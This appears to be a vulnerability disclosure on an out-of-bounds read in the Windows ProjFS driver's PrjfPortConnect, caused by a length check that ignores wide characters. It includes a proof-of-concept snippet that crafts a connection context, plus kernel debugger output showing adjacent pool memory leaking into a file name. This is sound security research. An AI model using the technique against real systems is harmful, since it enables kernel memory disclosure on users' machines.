int PrjfPortConnect(
        PFLT_PORT ClientPort,
        PVOID ServerPortCookie,
        _PRJ_CONNECTION_CONTEXT *ConnectionContext,
        ULONG SizeOfContext,
        PVOID *ConnectionPortCookie)

The _PRJ_CONNECTION_CONTEXT structure as below:[image: ]

At the beginning of PrjfPortConnect(), 
…
if ( SizeOfContext >= ConnectionContext->VolumeLength + 0x16 )
{
    …
}

It uses the condition “SizeOfContext >= ConnectionContext->VolumeLength + 0x16” to check the VolumeLength to make sure that the szVolume is within the context. And next, calculating the length of szVolume by finding the L’\0’ character, then assign szVolume to the usVolumeName, which will be the first parameter of PrjfGetInstanceFromVolumeName(&usVolumeName, &Instance);
In PrjfGetInstanceFromVolumeName, it will finally call ZwCreateFile with this usVolumeName as the ObjectName:

ObjectAttributes.ObjectName = usVolumeName;
ObjectAttributes.Attributes = 0x240i64;
…
ZwCreateFile(&FileHandle, 0x100001u, &ObjectAttributes, &IoStatusLocation, 0i64, 0, 3u, 1u, 0x20u, 0i64, 0);

The call stack is as below:
00 ffffbd8f`19c0ee70 fffff801`829fb247     FLTMGR!FltpIoGetDeviceObjectPointer+0x7c
01 ffffbd8f`19c0ef20 fffff801`829fb06e     FLTMGR!FltpGetDeviceObjectFromName+0x37
02 ffffbd8f`19c0f000 fffff801`829fb02d     FLTMGR!FltpGetVolumeFromName+0x2e
03 ffffbd8f`19c0f030 fffff801`870445ee     FLTMGR!FltGetVolumeFromName+0xd
04 ffffbd8f`19c0f060 fffff801`8704584b     prjflt!PrjfGetInstanceFromVolumeName+0x2e
05 ffffbd8f`19c0f0b0 fffff801`829fa999     prjflt!PrjfPortConnect+0x2db

However, the szVolume here is a WCHAR array, not char array, so the right size of the context should be ConnectionContext->VolumeLength * 2 + 0x16.
The condition: SizeOfContext >= ConnectionContext->VolumeLength + 0x16 should be 
SizeOfContext >= ConnectionContext->VolumeLength * 2 + 0x16.

With this improper input validation, there is a potential out-of-bound read bug, it may fetch the bytes of the pool buffer which is next to the connection context, and append them onto usVolumeName.Buffer, as a part of usVolumeName.

The test code snippet as below:
…
    int size = 0x1000;
    PCWSTR lpcwName = (PCWSTR)malloc(size);
    memset((PVOID)lpcwName, 'A', size);

    _PRJ_CONNECTION_CONTEXT Context;
    Context.VolumeLength = 0xa; //It can be up to 0x12, 0xa = 0x12 / 2 +1, over-read 1 byte
    Context.Version = 1;
    Context.virtualizationInstanceID = InstanceId;
    wcscpy_s(Context.szVolume, lpcwName);

    ULONG SizeOfContext = 0x16+ 0x12;
…

The Corresponding debugging information:

.reload /f prjflt.sys
bu prjflt!PrjfPortConnect “db r8 l30”
…
0: kd> g
ffff950e`19e7ed18  6d 12 89 5e 89 34 f2 45-8d 64 8c 26 55 9f fa fe  m..^.4.E.d.&U...
ffff950e`19e7ed28  01 00 00 00 0a 00 41 41-41 41 41 41 41 41 41 41  ......AAAAAAAAAA
ffff950e`19e7ed38  41 41 41 41 41 41 41 41-0c 01 06 0a 49 6f 45 61  AAAAAAAA....IoEa
rax=fffff80765db5690 rbx=ffff950e19e7ed18 rcx=ffff950e1c5fce70
rdx=0000000000000000 rsi=ffff950e1c5fce70 rdi=0000000000000000
rip=fffff80765db5690 rsp=ffff9107a83cf148 rbp=ffff9107a83cf1b9
 r8=ffff950e19e7ed18  r9=0000000000000028 r10=fffff807cec19180
r11=00000000000000d3 r12=0000000000000028 r13=ffff9107a83cf5e0
r14=ffff950e1c0b04b0 r15=ffff950e223beb20
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
prjflt!PrjfPortConnect:
fffff807`65db5690 488bc4          mov     rax,rsp
0: kd> !pool ffff950e19e7ed18 2
Pool page ffff950e19e7ed18 region is Nonpaged pool
*ffff950e19e7ece0 size:   60 previous size:    0  (Allocated) *IoEa Process: ffff950e1e7c50c0
		Pooltag IoEa : Io extended attributes, Binary : nt!io
0: kd> db ffff950e19e7ece0 l70
ffff950e`19e7ece0  00 01 06 0a 49 6f 45 61-d2 3a 05 cf c1 b3 71 2c  ....IoEa.:....q,
ffff950e`19e7ecf0  00 00 00 00 00 07 40 00-46 4c 54 50 4f 52 54 00  ......@.FLTPORT.
ffff950e`19e7ed00  38 ec 0d 00 80 00 00 00-38 ec 0d 00 80 00 00 00  8.......8.......
ffff950e`19e7ed10  28 00 00 00 00 00 00 00-6d 12 89 5e 89 34 f2 45  (.......m..^.4.E
ffff950e`19e7ed20  8d 64 8c 26 55 9f fa fe-01 00 00 00 0a 00 41 41  .d.&U.........AA
ffff950e`19e7ed30  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff950e`19e7ed40  0c 01 06 0a 49 6f 45 61-8f db 9e 6b cf 26 8e d3  ....IoEa...k.&..

0: kd> pct
rax=0000000000000020 rbx=0000000000000000 rcx=0000000000000100
rdx=0000000000000020 rsi=ffff950e1c5fce70 rdi=ffff950e19e7ed18
rip=fffff80765db578b rsp=ffff9107a83cf0b0 rbp=ffff9107a83cf130
 r8=000000006f634a50  r9=0000000000000028 r10=fffff807cf60d430
r11=00000000000000d3 r12=0000000000000000 r13=ffff9107a83cf5e0
r14=ffff950e1c0b04b0 r15=ffff950e1c5fce70
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
prjflt!PrjfPortConnect+0xfb:
fffff807`65db578b e8a07c8569      call    nt!ExAllocatePool2 (fffff807`cf60d430)
0: kd> 
rax=0000000000000014 rbx=0000000000000000 rcx=0000000069764a50
rdx=ffff9107a83cf108 rsi=ffffe48d142ddd70 rdi=ffff950e19e7ed18
rip=fffff80765db5837 rsp=ffff9107a83cf0b0 rbp=ffff9107a83cf130
 r8=ffff950e12626b80  r9=ffff950e12602000 r10=ffffe48d142ddd60
r11=0000000000000071 r12=0000000000000000 r13=ffff9107a83cf5e0
r14=0000000000007fff r15=ffff950e1c5fce70
iopl=0         nv up ei pl nz ac po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040216
prjflt!PrjfPortConnect+0x1a7:
fffff807`65db5837 e8f0540000      call    prjflt!PrjfAllocateUnicodeString (fffff807`65dbad2c)
0: kd> 
rax=ffff950e19e7ed42 rbx=0000000000000000 rcx=ffff9107a83cf108
rdx=ffff9107a83cf100 rsi=ffffe48d142ddd70 rdi=ffff950e19e7ed18
rip=fffff80765db5967 rsp=ffff9107a83cf0b0 rbp=ffff9107a83cf130
 r8=0000000000000000  r9=00004f7efa45f762 r10=000000000000010c
r11=00000000000000ab r12=0000000000000000 r13=ffff9107a83cf5e0
r14=0000000000007fff r15=ffff950e1c5fce70
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
prjflt!PrjfPortConnect+0x2d7:
fffff807`65db5967 e878edffff      call    prjflt!PrjfGetInstanceFromVolumeName (fffff807`65db46e4)
3: kd> dq ffff9107a83cf108 
ffff9107`a83cf108  00000000`00140014 ffffe48d`142de490
…
3: kd> db ffffe48d`142de490
ffffe48d`142de490  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe48d`142de4a0  41 41 0c 01 00 00 00 00-00 00 00 00 00 00 00 00  AA..............
ffffe48d`142de4b0  00 00 03 03 4e 74 66 30-7a 42 29 ab 00 00 00 00  ....Ntf0zB).....
ffffe48d`142de4c0  d0 ec b4 13 8d e4 ff ff-58 ab 51 15 8d e4 ff ff  ........X.Q.....
ffffe48d`142de4d0  f5 a7 c8 24 16 01 00 00-12 00 00 00 00 00 00 00  ...$............
ffffe48d`142de4e0  bd 00 03 03 50 4a 63 6f-c0 5d a8 a5 00 00 00 00  ....PJco.]......
ffffe48d`142de4f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffe48d`142de500  00 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00  ................

3: kd> !pool ffff950e`19e7ed40 2
Pool page ffff950e19e7ed40 region is Nonpaged pool
*ffff950e19e7ed40 size:   60 previous size:    0  (Free)      *IoEa
		Pooltag IoEa : Io extended attributes, Binary : nt!io
3: kd> dt _pool_header ffff950e`19e7ed40
nt!_POOL_HEADER
   +0x000 PreviousSize     : 0y00001100 (0xc)
   +0x000 PoolIndex        : 0y00000001 (0x1)
   +0x002 BlockSize        : 0y00000110 (0x6)
   +0x002 PoolType         : 0y00001010 (0xa)
   +0x000 Ulong1           : 0xa06010c
   +0x004 PoolTag          : 0x61456f49
   +0x008 ProcessBilled    : 0xd38e26cf`6b9edb8f _EPROCESS
   +0x008 AllocatorBackTraceIndex : 0xdb8f

You can see that the PreviousSize and PoolIndex of the next pool buffer of connection context was copied to the tail of the usVolumeName. After that, ZwCreateFile will open the file with this usVolumeName as ObjectName.


Notably, there is always some additional 0 bytes in the end of the connection context pool buffer to truncate szVolume when I was testing.
Finally I found out they come from fltlib!FilterConnectCommunicationPort:
…
EaLength = (unsigned __int16)(SizeOfContext + 0x18) + 0x13;
EaBuffer =RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, EaLength);
…

This 0x13 involved the additional alignment 0 bytes, but from my code review for this function, the structure of EaBuffer is as follows:
[image: ]

So the EaLength should be (unsigned __int16)(wSizeOfContext + 0x18) + 0x10;

Therefore I copied and rewrote it into my test code and named it as MyFilterConnectCommunicationPort(), the only change between them is 0x13 => 0x10,  the MyFilterConnectCommunicationPort function works as expected and no additional alignment 0 bytes anymore.
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